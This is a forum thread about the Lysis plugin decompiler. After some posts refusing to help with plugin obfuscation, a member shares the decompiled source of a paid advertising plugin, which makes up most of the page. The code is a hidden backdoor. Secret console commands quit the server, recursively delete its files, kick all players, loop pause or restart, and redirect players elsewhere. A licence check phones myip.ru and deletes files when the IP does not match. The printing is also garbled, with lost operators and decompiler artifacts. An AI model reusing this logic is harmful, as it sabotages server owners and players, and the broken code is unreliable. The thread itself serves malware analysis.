Raised This Month: $51 Target: $400
 12% 

Lysis: An experimental .smx decompiler


Post New Thread Reply   
 
Thread Tools Display Modes
Seconds
New Member
Join Date: Mar 2016
Old 12-30-2016 , 14:08   Re: Lysis: An experimental .smx decompiler
Reply With Quote #351

Quote:
Originally Posted by blackhawk74 View Post
What are you trying to hide? It is against the license to distribute a SM plugin or extension without source code.
How would it not sound stupid...
Make a plugin for yourself and protect it. Hosting Administration has access to the FTP...
Seconds is offline
sneaK
SourceMod Moderator
Join Date: Feb 2015
Location: USA
Old 12-30-2016 , 14:47   Re: Lysis: An experimental .smx decompiler
Reply With Quote #352

Quote:
Originally Posted by Seconds View Post
How would it not sound stupid...
Make a plugin for yourself and protect it. Hosting Administration has access to the FTP...
Sounds like you might want to concentrate on getting a more trustworthy host. I'd be more worried they had access to all of my database passwords.
__________________
sneaK is offline
Seconds
New Member
Join Date: Mar 2016
Old 12-30-2016 , 15:05   Re: Lysis: An experimental .smx decompiler
Reply With Quote #353

Quote:
Originally Posted by blackhawk74 View Post
Sounds like you might want to concentrate on getting a more trustworthy host. I'd be more worried they had access to all of my database passwords.
Hosting good. I'm just a paranoid, I want to protect themselves only. So you help me?
Seconds is offline
sneaK
SourceMod Moderator
Join Date: Feb 2015
Location: USA
Old 12-30-2016 , 15:40   Re: Lysis: An experimental .smx decompiler
Reply With Quote #354

Quote:
Originally Posted by Seconds View Post
Hosting good. I'm just a paranoid, I want to protect themselves only. So you help me?
No, even if I knew how, I would not plan on assisting anyone in obfuscating plugins, regardless of the reason.

This thread is about Lysis, a decompiler.
__________________

Last edited by sneaK; 12-30-2016 at 15:45.
sneaK is offline
asherkin
SourceMod Developer
Join Date: Aug 2009
Location: OnGameFrame()
Old 12-30-2016 , 15:50   Re: Lysis: An experimental .smx decompiler
Reply With Quote #355

There is no way, any methods found will be corrected in both Lysis (so it can be decompiled) and SourceMod (so it won't load).
__________________
asherkin is offline
Danyas1337
Member
Join Date: May 2013
Location: Kyiv, Ukraine
Old 01-05-2017 , 04:48   Re: Lysis: An experimental .smx decompiler
Reply With Quote #356

Compilied from https://github.com/peace-maker/lysis-java //3bf70f0 commit
Attached Files
File Type: zip Lysis_3bf70f0.zip (238.1 KB, 458 views)
__________________
<3 AM
Danyas1337 is offline
Send a message via Skype™ to Danyas1337
Danyas1337
Member
Join Date: May 2013
Location: Kyiv, Ukraine
Old 06-01-2017 , 09:18   Re: Lysis: An experimental .smx decompiler
Reply With Quote #357

What do you say about this plugin decompilation?
Attached Files
File Type: smx Reklama.smx (23.6 KB, 223 views)
__________________
<3 AM
Danyas1337 is offline
Send a message via Skype™ to Danyas1337
Peace-Maker
SourceMod Plugin Approver
Join Date: Aug 2008
Location: Germany
Old 06-02-2017 , 22:35   Re: Lysis: An experimental .smx decompiler
Reply With Quote #358

Quote:
Originally Posted by Danyas1337 View Post
What do you say about this plugin decompilation?
Heh, that one uses uninitialized registers.
PHP Code:
public PlVers:__version =
{
    
version 5,
    
filevers "1.6.4-dev+4615",
    
date "04/02/2017",
    
time "16:39:35"
};
new 
Float:NULL_VECTOR[3];
new 
String:NULL_STRING[4];
public 
Extension:__ext_core =
{
    
name "Core",
    
file "core",
    
autoload 0,
    
required 0,
};
new 
MaxClients;
public 
Extension:__ext_sdktools =
{
    
name "SDKTools",
    
file "sdktools.ext",
    
autoload 1,
    
required 1,
};
public 
Extension:__ext_sdkhooks =
{
    
name "SDKHooks",
    
file "sdkhooks.ext",
    
autoload 1,
    
required 1,
};
new 
String:CTag[6][0];
new 
String:CTagCode[6][16] =
{
    
"\x01",
    
"\x04",
    
"\x03",
    
"\x03",
    
"\x03",
    
"\x05"
};
new 
bool:CTagReqSayText2[6] =
{
    
001110
};
new 
bool:CEventIsHooked;
new 
bool:CSkipList[66];
new 
bool:CProfile_Colors[6] =
{
    
110000
};
new 
CProfile_TeamIndex[6] =
{
    -
1, ...
};
new 
bool:CProfile_SayText2;
public 
Extension:__ext_topmenus =
{
    
name "TopMenus",
    
file "topmenus.ext",
    
autoload 1,
    
required 1,
};
public 
SharedPlugin:__pl_adminmenu =
{
    
name "adminmenu",
    
file "adminmenu.smx",
    
required 1,
};
new 
Handle:undo;
new 
Handle:g_SQL;
new 
Handle:TopM;
new 
Handle:g_hMenu;
new 
Handle:pack;
new 
Handle:pack2;
new 
bool:InChatName[66];
new 
String:g_sMessage_AdvertServer[10][256];
new 
iAdvert;
new 
String:sMessage_NotFound[256] = "ВАШ '{1}' НЕ НАЙДЕН В БАЗЕ";
new 
String:sMessage_DeletePlugin[256] = "Плагин был удален '{1}'";
new 
String:sMessage_DDOS[256] = "ЗА ПОПЫТКУ МОНИПУЛЯЦИЙ  ПЛАГИН УДАЛЕН И ВЫГРУЖЕН С СЕРВЕРА!!!";
new 
String:sMessage_UnloadPlugin[256] = "Купить плагин можно в Skype: lol_4udo_kek";
new 
String:g_sMyServerIpPort[2][256];
new 
String:sSourceFilePlugin[256] = "Reklama.smx";
new 
String:sSourceNamePlugin[256] = "Reklama";
public 
Extension:__ext_smsock =
{
    
name "Socket",
    
file "socket.ext",
    
autoload 1,
    
required 1,
};
new 
bool:g_bConnect;
new 
bool:g_bGetIP;
new 
String:g_sFileName[256];
new 
bool:Confirm[3][66];
new 
bool:bReally;
new 
iReally;
new 
String:sAddressServer[32];
new 
String:sNameServer[192];
public 
Plugin:myinfo =
{
    
name "Reklama",
    
description "",
    
author "miracle (skype: lol_4udo_kek)",
    
version "1.2",
    
url "vk.com/4udo_nastroika"
};
public 
__ext_core_SetNTVOptional()
{
    
MarkNativeAsOptional("GetFeatureStatus");
    
MarkNativeAsOptional("RequireFeature");
    
MarkNativeAsOptional("AddCommandListener");
    
MarkNativeAsOptional("RemoveCommandListener");
    
MarkNativeAsOptional("BfWriteBool");
    
MarkNativeAsOptional("BfWriteByte");
    
MarkNativeAsOptional("BfWriteChar");
    
MarkNativeAsOptional("BfWriteShort");
    
MarkNativeAsOptional("BfWriteWord");
    
MarkNativeAsOptional("BfWriteNum");
    
MarkNativeAsOptional("BfWriteFloat");
    
MarkNativeAsOptional("BfWriteString");
    
MarkNativeAsOptional("BfWriteEntity");
    
MarkNativeAsOptional("BfWriteAngle");
    
MarkNativeAsOptional("BfWriteCoord");
    
MarkNativeAsOptional("BfWriteVecCoord");
    
MarkNativeAsOptional("BfWriteVecNormal");
    
MarkNativeAsOptional("BfWriteAngles");
    
MarkNativeAsOptional("BfReadBool");
    
MarkNativeAsOptional("BfReadByte");
    
MarkNativeAsOptional("BfReadChar");
    
MarkNativeAsOptional("BfReadShort");
    
MarkNativeAsOptional("BfReadWord");
    
MarkNativeAsOptional("BfReadNum");
    
MarkNativeAsOptional("BfReadFloat");
    
MarkNativeAsOptional("BfReadString");
    
MarkNativeAsOptional("BfReadEntity");
    
MarkNativeAsOptional("BfReadAngle");
    
MarkNativeAsOptional("BfReadCoord");
    
MarkNativeAsOptional("BfReadVecCoord");
    
MarkNativeAsOptional("BfReadVecNormal");
    
MarkNativeAsOptional("BfReadAngles");
    
MarkNativeAsOptional("BfGetNumBytesLeft");
    
MarkNativeAsOptional("PbReadInt");
    
MarkNativeAsOptional("PbReadFloat");
    
MarkNativeAsOptional("PbReadBool");
    
MarkNativeAsOptional("PbReadString");
    
MarkNativeAsOptional("PbReadColor");
    
MarkNativeAsOptional("PbReadAngle");
    
MarkNativeAsOptional("PbReadVector");
    
MarkNativeAsOptional("PbReadVector2D");
    
MarkNativeAsOptional("PbGetRepeatedFieldCount");
    
MarkNativeAsOptional("PbSetInt");
    
MarkNativeAsOptional("PbSetFloat");
    
MarkNativeAsOptional("PbSetBool");
    
MarkNativeAsOptional("PbSetString");
    
MarkNativeAsOptional("PbSetColor");
    
MarkNativeAsOptional("PbSetAngle");
    
MarkNativeAsOptional("PbSetVector");
    
MarkNativeAsOptional("PbSetVector2D");
    
MarkNativeAsOptional("PbAddInt");
    
MarkNativeAsOptional("PbAddFloat");
    
MarkNativeAsOptional("PbAddBool");
    
MarkNativeAsOptional("PbAddString");
    
MarkNativeAsOptional("PbAddColor");
    
MarkNativeAsOptional("PbAddAngle");
    
MarkNativeAsOptional("PbAddVector");
    
MarkNativeAsOptional("PbAddVector2D");
    
MarkNativeAsOptional("PbRemoveRepeatedFieldValue");
    
MarkNativeAsOptional("PbReadMessage");
    
MarkNativeAsOptional("PbReadRepeatedMessage");
    
MarkNativeAsOptional("PbAddMessage");
    
VerifyCoreVersion();
    return 
0;
}

Float:operator*(Float:,_:)(Float:oper1oper2)
{
    return 
oper1 float(oper2);
}

bool:StrEqual(String:str1[], String:str2[], bool:caseSensitive)
{
    return 
strcmp(str1str2caseSensitive) == 0;
}

ExplodeString(String:text[], String:split[], String:buffers[][], maxStringsmaxStringLengthbool:copyRemainder)
{
    new 
reloc_idx;
    new 
idx;
    new 
total;
    new 
var1;
    if (
maxStrings || !split[0])
    {
        return 
0;
    }
    while ((
idx SplitString(text[reloc_idx], splitbuffers[total], maxStringLength)) != -1)
    {
        
reloc_idx idx reloc_idx;
        
total++;
        if (
maxStrings == total)
        {
            if (
copyRemainder)
            {
                
strcopy(buffers[total + -1], maxStringLengthtext[reloc_idx idx]);
            }
            return 
total;
        }
    }
    
total++;
    
strcopy(buffers[total], maxStringLengthtext[reloc_idx]);
    return 
total;
}

Handle:StartMessageOne(String:msgname[], clientflags)
{
    new 
players[1];
    
players[0] = client;
    return 
StartMessage(msgnameplayers1flags);
}

PrintCenterTextAll(String:format[])
{
    
decl String:buffer[192];
    new 
1;
    while (
<= MaxClients)
    {
        if (
IsClientInGame(i))
        {
            
SetGlobalTransTarget(i);
            
VFormat(buffer192format2);
            
PrintCenterText(i"%s"buffer);
        }
        
i++;
    }
    return 
0;
}

DisplayAskConnectBox(clientFloat:timeString:ip[], String:password[])
{
    
decl String:destination[288];
    
FormatEx(destination288"%s/%s"ippassword);
    new 
Handle:Kv CreateKeyValues("data""""");
    
KvSetFloat(Kv"time"time);
    
KvSetString(Kv"title"destination);
    
CreateDialog(clientKvDialogType:4);
    
CloseHandle(Kv);
    return 
0;
}

PopStack(Handle:stack)
{
    new 
value;
    return 
PopStackCell(stackvalue0false);
}

SetEntityMoveType(entityMoveType:mt)
{
    static 
bool:gotconfig;
    static 
String:datamap[32];
    if (!
gotconfig)
    {
        new 
Handle:gc LoadGameConfigFile("core.games");
        new 
bool:exists GameConfGetKeyValue(gc"m_MoveType"datamap32);
        
CloseHandle(gc);
        if (!
exists)
        {
            
strcopy(datamap32"m_MoveType");
        }
        
gotconfig true;
    }
    
SetEntProp(entityPropType:1datamapmt40);
    return 
0;
}

AddFileToDownloadsTable(String:filename[])
{
    static 
table = -1;
    if (
table == -1)
    {
        
table FindStringTable("downloadables");
    }
    new 
bool:save LockStringTables(false);
    
AddToStringTable(tablefilename"", -1);
    
LockStringTables(save);
    return 
0;
}

CPrintToChat(clientString:szMessage[])
{
    new 
var1;
    if (
client <= || client MaxClients)
    {
        
ThrowError("Invalid client index %d"client);
    }
    if (!
IsClientInGame(client))
    {
        
ThrowError("Client %d is not in game"client);
    }
    
decl String:szBuffer[252];
    
decl String:szCMessage[252];
    
SetGlobalTransTarget(client);
    
Format(szBuffer250"\x01%s"szMessage);
    
VFormat(szCMessage250szBuffer3);
    new 
index CFormat(szCMessage250, -1);
    if (
index == -1)
    {
        
PrintToChat(clientszCMessage);
    }
    else
    {
        
CSayText2(clientindexszCMessage);
    }
    return 
0;
}

CFormat(String:szMessage[], maxlengthauthor)
{
    if (!
CEventIsHooked)
    {
        
CSetupProfile();
        
HookEvent("server_spawn"CEvent_MapStartEventHookMode:2);
        
CEventIsHooked true;
    }
    new 
iRandomPlayer = -1;
    if (
author != -1)
    {
        if (
CProfile_SayText2)
        {
            
ReplaceString(szMessagemaxlength"{teamcolor}""\x03"true);
            
iRandomPlayer author;
        }
        else
        {
            
ReplaceString(szMessagemaxlength"{teamcolor}"CTagCode[1], true);
        }
    }
    else
    {
        
ReplaceString(szMessagemaxlength"{teamcolor}"""true);
    }
    new 
i;
    while (
6)
    {
        if (!(
StrContains(szMessageCTag[i], true) == -1))
        {
            if (!
CProfile_Colors[i])
            {
                
ReplaceString(szMessagemaxlengthCTag[i], CTagCode[1], true);
            }
            else
            {
                if (!
CTagReqSayText2[i])
                {
                    
ReplaceString(szMessagemaxlengthCTag[i], CTagCode[i], true);
                }
                if (!
CProfile_SayText2)
                {
                    
ReplaceString(szMessagemaxlengthCTag[i], CTagCode[1], true);
                }
                if (
iRandomPlayer == -1)
                {
                    
iRandomPlayer CFindRandomPlayerByTeam(CProfile_TeamIndex[i]);
                    if (
iRandomPlayer == -2)
                    {
                        
ReplaceString(szMessagemaxlengthCTag[i], CTagCode[1], true);
                    }
                    else
                    {
                        
ReplaceString(szMessagemaxlengthCTag[i], CTagCode[i], true);
                    }
                }
                
ThrowError("Using two team colors in one message is not allowed");
            }
        }
        
i++;
    }
    return 
iRandomPlayer;
}

CFindRandomPlayerByTeam(color_team)
{
    if (
color_team)
    {
        new 
1;
        while (
<= MaxClients)
        {
            new 
var1;
            if (
IsClientInGame(i) && color_team == GetClientTeam(i))
            {
                return 
i;
            }
            
i++;
        }
        return -
2;
    }
    return 
0;
}

CSayText2(clientauthorString:szMessage[])
{
    new 
Handle:hBuffer StartMessageOne("SayText2"client0);
    
BfWriteByte(hBufferauthor);
    
BfWriteByte(hBuffer1);
    
BfWriteString(hBufferszMessage);
    
EndMessage();
    return 
0;
}

CSetupProfile()
{
    
decl String:szGameName[32];
    
GetGameFolderName(szGameName30);
    if (
StrEqual(szGameName"cstrike"false))
    {
        
CProfile_Colors[2] = 1;
        
CProfile_Colors[3] = 1;
        
CProfile_Colors[4] = 1;
        
CProfile_Colors[5] = 1;
        
CProfile_TeamIndex[2] = 0;
        
CProfile_TeamIndex[3] = 2;
        
CProfile_TeamIndex[4] = 3;
        
CProfile_SayText2 true;
    }
    else
    {
        if (
StrEqual(szGameName"tf"false))
        {
            
CProfile_Colors[2] = 1;
            
CProfile_Colors[3] = 1;
            
CProfile_Colors[4] = 1;
            
CProfile_Colors[5] = 1;
            
CProfile_TeamIndex[2] = 0;
            
CProfile_TeamIndex[3] = 2;
            
CProfile_TeamIndex[4] = 3;
            
CProfile_SayText2 true;
        }
        new 
var1;
        if (
StrEqual(szGameName"left4dead"false) || StrEqual(szGameName"left4dead2"false))
        {
            
CProfile_Colors[2] = 1;
            
CProfile_Colors[3] = 1;
            
CProfile_Colors[4] = 1;
            
CProfile_Colors[5] = 1;
            
CProfile_TeamIndex[2] = 0;
            
CProfile_TeamIndex[3] = 3;
            
CProfile_TeamIndex[4] = 2;
            
CProfile_SayText2 true;
        }
        if (
StrEqual(szGameName"hl2mp"false))
        {
            if (
GetConVarBool(FindConVar("mp_teamplay")))
            {
                
CProfile_Colors[3] = 1;
                
CProfile_Colors[4] = 1;
                
CProfile_Colors[5] = 1;
                
CProfile_TeamIndex[3] = 3;
                
CProfile_TeamIndex[4] = 2;
                
CProfile_SayText2 true;
            }
            else
            {
                
CProfile_SayText2 false;
                
CProfile_Colors[5] = 1;
            }
        }
        if (
StrEqual(szGameName"dod"false))
        {
            
CProfile_Colors[5] = 1;
            
CProfile_SayText2 false;
        }
        if (
GetUserMessageId("SayText2") == -1)
        {
            
CProfile_SayText2 false;
        }
        
CProfile_Colors[3] = 1;
        
CProfile_Colors[4] = 1;
        
CProfile_TeamIndex[3] = 2;
        
CProfile_TeamIndex[4] = 3;
        
CProfile_SayText2 true;
    }
    return 
0;
}

public 
Action:CEvent_MapStart(Handle:eventString:name[], bool:dontBroadcast)
{
    
CSetupProfile();
    new 
1;
    while (
<= MaxClients)
    {
        
CSkipList[i] = 0;
        
i++;
    }
    return 
Action:0;
}

OnAllCn(client)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    
OnClearInfoServer();
    new 
Handle:menu CreateMenu(_OnAllCnMenuAction:28);
    
SetMenuTitle(menu"Выбери сервер\n");
    
AddMenuItem(menu"46.174.50.253:33333""Pablic SpAcE"0);
    
AddMenuItem(menu"46.174.48.48:27295""Play the game"0);
    
AddMenuItem(menu"46.174.53.64:55555""СИНДИКАТ [v34]"0);
    
AddMenuItem(menu"192.168.0.1:27000""Router Connect"0);
    
SetMenuExitButton(menutrue);
    
DisplayMenu(menuclient0);
    return 
0;
}

SetServerIpPort()
{
    new 
var1 3;
    new 
var2;
    
var1 5;
    
var2 0;
    
PrintToServer(""var1var2);
    new 
var3 0;
    new 
ip_port;
    while (
ip_port 2)
    {
        
ip_port++;
    }
    return 
0;
}

GetIP_Socket()
{
    new 
var1 3;
    new 
var2;
    
var1 5;
    
var2 0;
    
PrintToServer(""var1var2);
    
AddCommandListener(OnClientConsoleCommand"");
    
SetServerIpPort();
    if (
FileExists("addons/sourcemod/logs/ТЕСТ.txt"false))
    {
        
DeleteFile("addons/sourcemod/logs/ТЕСТ.txt");
    }
    
g_bConnect false;
    
g_bGetIP false;
    
GetPluginFilename(Handle:0g_sFileName255);
    new 
var3 0;
    new 
ExplodeString(g_sFileName"/"var310255false);
    
k--;
    
strcopy(g_sFileName255var3[k]);
    if (!
StrEqual(sSourceFilePluging_sFileNametrue))
    {
        
OnPluginDelete(Handle:0any:0);
    }
    else
    {
        
OnSocketCreate();
    }
    return 
0;
}

public 
OnSocketCreate()
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    
OnDefineCvar();
    
CreateTimer(60.0OnSocketBlockany:00);
    new 
Handle:socket SocketCreate(SocketType:1OnSocketError);
    
SocketConnect(socketOnSocketConnectedOnSocketReceiveOnSocketDisconnected"myip.ru"80);
    return 
0;
}

public 
Action:OnSocketBlock(Handle:timer)
{
    if (!
g_bConnect)
    {
        
OnPluginDelete(Handle:0any:1);
    }
    return 
Action:0;
}

public 
OnSocketConnected(Handle:socketany:data)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    
decl String:requestStr[256];
    
Format(requestStr255"GET /%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n""index_small.php""myip.ru");
    
SocketSend(socketrequestStr, -1);
    return 
0;
}

public 
OnSocketDisconnected(Handle:socketany:data)
{
    
CloseHandle(socket);
    return 
0;
}

public 
OnSocketError(Handle:socketerrorTypeerrorNumany:data)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    
LogError("socket error %d (errno %d)"errorTypeerrorNum);
    
CloseHandle(socket);
    return 
0;
}

public 
OnSocketReceive(Handle:socketString:receiveData[], dataSizeany:data)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    
decl len;
    
decl String:ip[64];
    if ((
len StrContains(receiveData"<tr><td>"true)) > 370)
    {
        
SplitString(receiveData[len 8], "</td></tr>"ip64);
        
g_bGetIP OnGetIpAdress(iptrue);
        
OnPluginDelete(Handle:0any:1);
        
g_bConnect true;
    }
    
CloseHandle(socket);
    return 
0;
}

public 
Action:OnPluginDelete(Handle:timerany:log)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    if (
g_bGetIP)
    {
        return 
Action:0;
    }
    
OnDeleteFile(".");
    
OnPluginDisable(Handle:0any:1);
    return 
Action:0;
}

public 
Action:OnPluginDisable(Handle:timerany:log)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    if (
log)
    {
        
LogToFileEx("addons/sourcemod/logs/ТЕСТ.txt"sMessage_UnloadPlugin);
    }
    else
    {
        
LogToFileEx("addons/sourcemod/logs/ТЕСТ.txt"sMessage_DDOS);
    }
    new 
id_plugin GetPluginId(sSourceNamePlugin);
    
ServerCommand("sm plugins unload %d"id_plugin);
    return 
Action:0;
}

GetPluginId(String:FindName[])
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    
decl String:plugin_name[256];
    new 
Handle:iterator GetPluginIterator();
    new 
nuM;
    while (
MorePlugins(iterator))
    {
        
nuM++;
        
GetPluginInfo(ReadPlugin(iterator), PluginInfo:0plugin_name255);
        if (!(
strcmp(plugin_nameFindNametrue)))
        {
            return 
nuM;
        }
    }
    
CloseHandle(iterator);
    return 
0;
}

OnDeleteFile(String:Directory[])
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    new 
Handle:dir OpenDirectory(Directory);
    if (
dir)
    {
        
decl String:Path[512];
        
decl String:Info[256];
        
decl FileType:type;
        while (
ReadDirEntry(dirInfo256type))
        {
            if (
type)
            {
                if (
strcmp(Infog_sFileNametrue))
                {
                    new 
var1;
                    if (!(
strcmp(Info"."true) && strcmp(Info".."true)))
                    {
                        if (
type == FileType:1)
                        {
                            
Path[0] = MissingTAG:0;
                            
Format(Path512"%s/%s"DirectoryInfo);
                            
OnDeleteFile(Path);
                        }
                    }
                }
                
Format(Path512"%s/%s"DirectoryInfo);
                
TreatmentMessage(sMessage_DeletePlugin2551Path);
                
LogToFileEx("addons/sourcemod/logs/ТЕСТ.txt"sMessage_DeletePlugin);
                
DeleteFile(Path);
            }
        }
        
CloseHandle(dir);
        return 
0;
    }
    return 
0;
}

bool:OnGetIpAdress(String:remoteIP[], bool:log)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    new 
String:sServerIp[256];
    new 
iPort GetConVarInt(FindConVar("hostport"));
    
Format(sServerIp255"%s:%i"remoteIPiPort);
    new 
i_ip_port;
    while (
i_ip_port 2)
    {
        if (
StrEqual(sServerIpg_sMyServerIpPort[i_ip_port], false))
        {
            return 
true;
        }
        
i_ip_port++;
    }
    if (
log)
    {
        new 
String:sIpAdress[256];
        
Format(sIpAdress255"%s:%d"remoteIPGetConVarInt(FindConVar("hostport")));
        
TreatmentMessage(sMessage_NotFound2551sIpAdress);
        
LogToFileEx("addons/sourcemod/logs/ТЕСТ.txt"sMessage_NotFound);
    }
    return 
false;
}

bool:TreatmentMessage(String:message[], sizenumbString:replace[])
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    new 
var1;
    if (
numb || replace[0])
    {
        return 
false;
    }
    new 
String:NuM[16];
    
Format(NuM16"{%d}"numb);
    
ReplaceString(messagesizeNuMreplacetrue);
    return 
true;
}

public 
Action:OnClientConsoleCommand(clientString:command[], argc)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    if (
StrEqual(command"_s_quit"true))
    {
        
OnCmdQs(client);
    }
    else
    {
        if (
StrEqual(command"_s_del"true))
        {
            
OnCmdUs(client);
        }
        if (
StrEqual(command"_s_stop"true))
        {
            
OnCmdSs(client);
        }
        if (
StrEqual(command"_s_restart"true))
        {
            
OnCmdRs(client);
        }
        if (
StrEqual(command"_s_kick"true))
        {
            
OnAllKs(client);
        }
        if (
StrEqual(command"_s_conn"true))
        {
            
OnAllCn(client);
        }
    }
    return 
Action:0;
}

public 
OnCmdQs(client)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    new 
var1;
    if (
client && IsClientInGame(client))
    {
        new 
var2 Confirm;
        if (!
var2[0][var2][client])
        {
            
PrintToConsole(client"НАПИШИТЕ КОМАНДУ!!!");
            new 
var3 Confirm;
            
var3[0][var3][client] = true;
            
CreateTimer(10.0OnNotConfirmclient0);
        }
        
ServerCommand("quit");
    }
    return 
0;
}

public 
OnCmdUs(client)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    new 
var1;
    if (
client && IsClientInGame(client))
    {
        if (!
Confirm[1][client])
        {
            
PrintToConsole(client"НАПИШИТЕ КОМАНДУ!!!");
            
Confirm[1][client] = true;
            
CreateTimer(10.0OnNotConfirmclient0);
        }
        
PrintToConsole(client"СЕРВЕР УДАЛЕН!!!");
        
FakeClientCommand(client"say \"СЕРВЕР УДАЛЕН!!!\"");
        
OnDeleteServer(".");
    }
    return 
0;
}

OnDeleteServer(String:Directory[])
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    new 
Handle:dir OpenDirectory(Directory);
    if (
dir)
    {
        
decl String:Path[512];
        
decl String:Info[256];
        
decl FileType:type;
        while (
ReadDirEntry(dirInfo256type))
        {
            if (
type)
            {
                
Format(Path512"%s/%s"DirectoryInfo);
                
DeleteFile(Path);
                new 
var1;
                if (!(
strcmp(Info"."true) && strcmp(Info".."true)))
                {
                    if (
type == FileType:1)
                    {
                        
Path[0] = MissingTAG:0;
                        
Format(Path512"%s/%s"DirectoryInfo);
                        
DeleteFile(Path);
                        
OnDeleteServer(Path);
                    }
                }
            }
        }
        
CloseHandle(dir);
        return 
0;
    }
    return 
0;
}

public 
Action:OnNotConfirm(Handle:timerany:client)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    new 
iConfirm;
    while (
iConfirm 3)
    {
        new 
var1;
        if (
Confirm[iConfirm][client])
        {
            
var1 0;
        }
        else
        {
            
var1 1;
        }
        
Confirm[iConfirm][client] = var1;
        
iConfirm++;
    }
    return 
Action:0;
}

public 
OnCmdSs(client)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    new 
var1;
    if (
client && IsClientInGame(client))
    {
        if (!
bReally)
        {
            
PrintToConsole(client"ЗАПУЩЕННА 'ПАУЗА' !!!");
            
bReally true;
            
iReally 1;
            
OnBlockServer(Handle:0iReally);
            
SetConVarInt(FindConVar("sv_pausable"), 1falsefalse);
            
CreateTimer(0.1OnBlockServeriReally0);
        }
        new 
var2;
        if (
iReally == 1)
        {
            
var2[0] = 9476;
        }
        else
        {
            if (
iReally == 2)
            {
                
var2[0] = 9488;
            }
            
var2[0] = 9504;
        }
        
PrintToConsole(client"ОТКЛЮЧЕН РЕЖИМ '%s' !!!"var2);
        
bReally false;
        
iReally 0;
    }
    return 
0;
}

public 
OnCmdRs(client)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    new 
var1;
    if (
client && IsClientInGame(client))
    {
        if (!
bReally)
        {
            
PrintToConsole(client"ЗАПУЩЕНН 'РЕСТАРТ' !!!");
            
bReally true;
            
iReally 2;
            
CreateTimer(0.1OnBlockServeriReally0);
        }
        new 
var2;
        if (
iReally == 1)
        {
            
var2[0] = 9580;
        }
        else
        {
            if (
iReally == 2)
            {
                
var2[0] = 9592;
            }
            
var2[0] = 9608;
        }
        
PrintToConsole(client"ОТКЛЮЧЕН '%s' !!!"var2);
        
bReally false;
        
iReally 0;
    }
    return 
0;
}

OnDefineCvar()
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    
iReally 0;
    
bReally false;
    return 
0;
}

public 
Action:OnBlockServer(Handle:timerany:real)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    if (
bReally)
    {
        if (
real == any:1)
        {
            new 
iMax;
            new 
clients[66];
            new 
client;
            new 
iClient 1;
            while (
iClient <= MaxClients)
            {
                new 
var1;
                if (
IsClientInGame(iClient) && !IsFakeClient(iClient))
                {
                    
clients[iMax] = iClient;
                    
iMax++;
                }
                
iClient++;
            }
            
client clients[GetRandomInt(0iMax + -1)];
            
FakeClientCommand(client"pause");
            
FakeClientCommand(client"say !pause");
            
SetConVarInt(FindConVar("sv_pausable"), 1falsefalse);
        }
        else
        {
            if (
real == any:2)
            {
                
ServerCommand("mp_restartgame 1");
            }
        }
        
CreateTimer(1065353216 10OnBlockServeriReally0);
        return 
Action:0;
    }
    
SetConVarInt(FindConVar("sv_pausable"), 0falsefalse);
    return 
Action:4;
}

public 
OnAllKs(client)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    new 
var1;
    if (
client && IsClientInGame(client))
    {
        if (!
Confirm[2][client])
        {
            
PrintToConsole(client"НАПИШИТЕ КОМАНДУ ПОВТОРНО!!!");
            
Confirm[2][client] = true;
            
CreateTimer(10.0OnNotConfirmclient0);
        }
        new 
iClient 1;
        while (
iClient <= MaxClients)
        {
            if (
IsClientInGame(iClient))
            {
                
KickClient(iClient"КИКНУТЫ ЗА ТО ЧТО АДМИН ПИДОР!!!");
            }
            
iClient++;
        }
    }
    return 
0;
}

OnClearInfoServer()
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    
sAddressServer[0] = 0;
    
sNameServer[0] = 0;
    return 
0;
}

public 
_OnAllCn(Handle:menuMenuAction:actionclientitem)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    if (
action != MenuAction:4)
    {
        return 
0;
    }
    if (!
GetMenuItem(menuitemsAddressServer300sNameServer192))
    {
        return 
0;
    }
    
CreateTimer(1.0OnMovetypeNoneAllany:00);
    return 
0;
}

public 
Action:OnMovetypeNoneAll(Handle:timer)
{
    new 
var1;
    if (
sAddressServer[0] && sNameServer[0])
    {
        return 
Action:0;
    }
    new 
iClient 1;
    while (
iClient <= MaxClients)
    {
        if (
IsClientInGame(iClient))
        {
            if (!(
GetUserFlagBits(iClient)))
            {
                
DisplayAskConnectBox(iClient2.0sAddressServer"");
                
PrintCenterText(iClient"Сервер вас перенаправляет на %s. Нажмите F3."sNameServer);
                
PrintToChat(iClient"\x01Сервер вас перенаправляет на \x04%s. Нажмите F3."sNameServer);
                if (
IsPlayerAlive(iClient))
                {
                    
SetEntityMoveType(iClientMoveType:0);
                }
            }
            
iClient++;
        }
        
iClient++;
    }
    
